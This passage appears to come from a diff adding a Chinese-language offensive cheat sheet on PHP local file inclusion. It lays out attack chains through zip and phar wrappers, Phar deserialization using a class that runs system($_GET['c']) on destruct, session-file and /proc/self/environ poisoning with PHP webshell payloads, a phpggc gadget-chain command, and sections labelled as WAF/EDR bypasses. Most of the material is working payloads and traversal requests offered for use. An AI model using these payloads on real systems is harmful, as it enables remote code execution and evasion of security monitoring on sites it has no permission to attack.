+ ?file=zip://uploads/image.jpg%23shell.txt&c=id
1060
+ ```
1061
+
1062
+ **WAF/EDR 绕过变体:**
1063
+
1064
+ **1. 使用phar://**
1065
+ _使用phar://协议_
1066
+ ```
1067
+ ?file=phar://uploads/shell.zip/shell.txt&c=id
1068
+ # phar://也可以访问zip文件
1069
+ ```
1070
+
1071
+ **2. 压缩包嵌套**
1072
+ _压缩包嵌套绕过_
1073
+ ```
1074
+ # 在zip中嵌套zip
1075
+ zip inner.zip shell.txt
1076
+ zip outer.zip inner.zip
1077
+
1078
+ # 包含
1079
+ ?file=zip://outer.zip%23inner.zip%23shell.txt&c=id
1080
+ ```
1081
+
1082
+ ---
1083
+
1084
+ ### Phar反序列化攻击 `lfi-phar`
1085
+ 利用Phar反序列化进行RCE
1086
+ 子类:**Phar反序列化** · tags: `lfi` `phar` `deserialization` `rce`
1087
+
1088
+ **前置条件:** 存在LFI漏洞;PHP环境;phar扩展可用
1089
+
1090
+ **攻击链:**
1091
+
1092
+ **1. 1. 创建Phar文件**
1093
+ _创建恶意Phar文件_
1094
+ ```
1095
+ # 创建恶意Phar
1096
+ <?php
1097
+ class Exploit {
1098
+ function __destruct() {
1099
+ system($_GET['c']);
1100
+ }
1101
+ }
1102
+
1103
+ $phar = new Phar('exploit.phar');
1104
+ $phar->startBuffering();
1105
+ $phar->addFromString('test.txt', 'test');
1106
+ $phar->setStub('<?php __HALT_COMPILER(); ?>');
1107
+ $o = new Exploit();
1108
+ $phar->setMetadata($o);
1109
+ $phar->stopBuffering();
1110
+ ?>
1111
+ ```
1112
+
1113
+ **2. 2. 触发反序列化**
1114
+ _触发Phar反序列化_
1115
+ ```
1116
+ # 通过file_exists触发
1117
+ ?file=phar://exploit.phar&c=id
1118
+
1119
+ # 通过file_get_contents触发
1120
+ ?file=phar://exploit.phar/test.txt&c=id
1121
+
1122
+ # 通过include触发
1123
+ ?file=phar://exploit.phar&c=id
1124
+ ```
1125
+
1126
+ **3. 3. 图片马Phar**
1127
+ _使用图片马Phar_
1128
+ ```
1129
+ # 创建图片Phar
1130
+ copy exploit.phar exploit.gif
1131
+
1132
+ # 或添加GIF头
1133
+ cp exploit.phar exploit.gif
1134
+
1135
+ # 触发
1136
+ ?file=phar://uploads/exploit.gif&c=id
1137
+ ```
1138
+
1139
+ **4. 4. 常见Gadget链**
1140
+ _使用常见Gadget链_
1141
+ ```
1142
+ # Laravel POP链
1143
+ # Symfony POP链
1144
+ # WordPress POP链
1145
+ # ThinkPHP POP链
1146
+
1147
+ # 使用phpggc生成
1148
+ git clone https://github.com/ambionics/phpggc
1149
+ php phpggc Laravel/RCE1 system id > exploit.phar
1150
+ ```
1151
+
1152
+ **WAF/EDR 绕过变体:**
1153
+
1154
+ **1. Base64编码**
1155
+ _Base64编码绕过_
1156
+ ```
1157
+ # 将Phar内容Base64编码
1158
+ # 然后解码触发
1159
+ ```
1160
+
1161
+ **2. 伪协议组合**
1162
+ _伪协议组合_
1163
+ ```
1164
+ ?file=php://filter/convert.base64-encode/resource=phar://exploit.phar
1165
+ # 组合使用
1166
+ ```
1167
+
1168
+ ---
1169
+
1170
+ ### Session文件包含 `lfi-session`
1171
+ 利用Session文件进行LFI攻击
1172
+ 子类:**Session包含** · tags: `lfi` `session` `file` `inclusion`
1173
+
1174
+ **前置条件:** 存在LFI漏洞;可控制Session内容;知道Session路径
1175
+
1176
+ **攻击链:**
1177
+
1178
+ **1. 1. 探测Session路径**
1179
+ _探测Session存储路径_
1180
+ ```
1181
+ # Linux默认路径
1182
+ /var/lib/php/sessions/sess_[PHPSESSID]
1183
+ /var/lib/php5/sess_[PHPSESSID]
1184
+ /var/lib/php7/sess_[PHPSESSID]
1185
+ /tmp/sess_[PHPSESSID]
1186
+ /c:/windows/temp/sess_[PHPSESSID]
1187
+ ```
1188
+
1189
+ **2. 2. 控制Session内容**
1190
+ _控制Session内容_
1191
+ ```
1192
+ # 通过用户输入控制Session
1193
+ # 例如用户名、个人简介等
1194
+ username: <?php system($_GET['c']); ?>
1195
+
1196
+ # 或通过Cookie
1197
+ Set-Cookie: PHPSESSID=malicious
1198
+ ```
1199
+
1200
+ **3. 3. 包含Session文件**
1201
+ _包含Session文件执行代码_
1202
+ ```
1203
+ # 包含Session文件
1204
+ ?file=/var/lib/php/sessions/sess_abc123&c=id
1205
+
1206
+ # 或使用相对路径
1207
+ ?file=../../../var/lib/php/sessions/sess_abc123&c=id
1208
+ ```
1209
+
1210
+ **4. 4. Session竞争条件**
1211
+ _利用Session竞争条件_
1212
+ ```
1213
+ # 利用Session竞争
1214
+ # 1. 持续写入恶意代码到Session
1215
+ # 2. 同时包含Session文件
1216
+ # 3. 在Session被清理前执行
1217
+ ```
1218
+
1219
+ **WAF/EDR 绕过变体:**
1220
+
1221
+ **1. Session ID预测**
1222
+ _预测Session ID_
1223
+ ```
1224
+ # 尝试预测Session ID
1225
+ # 常见模式: md5(ip.time.random)
1226
+ # 暴力枚举Session ID
1227
+ ```
1228
+
1229
+ ---
1230
+
1231
+ ### Proc文件系统利用 `lfi-proc`
1232
+ 利用/proc文件系统进行LFI攻击
1233
+ 子类:**Proc文件系统** · tags: `lfi` `proc` `linux` `environ`
1234
+
1235
+ **前置条件:** 存在LFI漏洞;Linux系统;/proc可访问
1236
+
1237
+ **攻击链:**
1238
+
1239
+ **1. 1. 读取进程信息** _[linux]_
1240
+ _读取当前进程信息_
1241
+ ```
1242
+ # 当前进程信息
1243
+ /proc/self/cmdline
1244
+ /proc/self/environ
1245
+ /proc/self/cwd
1246
+ /proc/self/exe
1247
+ /proc/self/fd/0
1248
+ /proc/self/fd/1
1249
+ /proc/self/fd/2
1250
+ ```
1251
+
1252
+ **2. 2. 读取环境变量** _[linux]_
1253
+ _读取环境变量执行代码_
1254
+ ```
1255
+ ?file=../../../proc/self/environ
1256
+
1257
+ # 在User-Agent中注入
1258
+ User-Agent: <?php system($_GET['c']); ?>
1259
+
1260
+ # 包含执行
1261
+ ?file=../../../proc/self/environ&c=id
1262
+ ```
1263
+
1264
+ **3. 3. 通过fd读取日志** _[linux]_
1265
+ _通过fd读取日志_
1266
+ ```
1267
+ # fd文件描述符
1268
+ /proc/self/fd/10
1269
+ /proc/self/fd/20
1270
+
1271
+ # 尝试不同编号找到日志
1272
+ ?file=../../../proc/self/fd/10
1273
+ ```
1274
+
1275
+ **4. 4. 读取其他进程** _[linux]_
1276
+ _读取其他进程信息_
1277
+ ```
1278
+ # 枚举进程
1279
+ /proc/[pid]/cmdline
1280
+ /proc/[pid]/environ
1281
+ /proc/[pid]/maps
1282
+
1283
+ # 暴力枚举
1284
+ ?file=../../../proc/1/cmdline
1285
+ ?file=../../../proc/2/cmdline
1286
+ ```
1287
+
1288
+ **WAF/EDR 绕过变体:**
1289
+
1290
+ **1. 使用self** _[linux]_
1291
+ _使用self引用_
1292
+ ```
1293
+ ?file=/proc/self/environ
1294
+ ?file=proc/self/environ
1295
+ ```
1296
+
1297
+ ---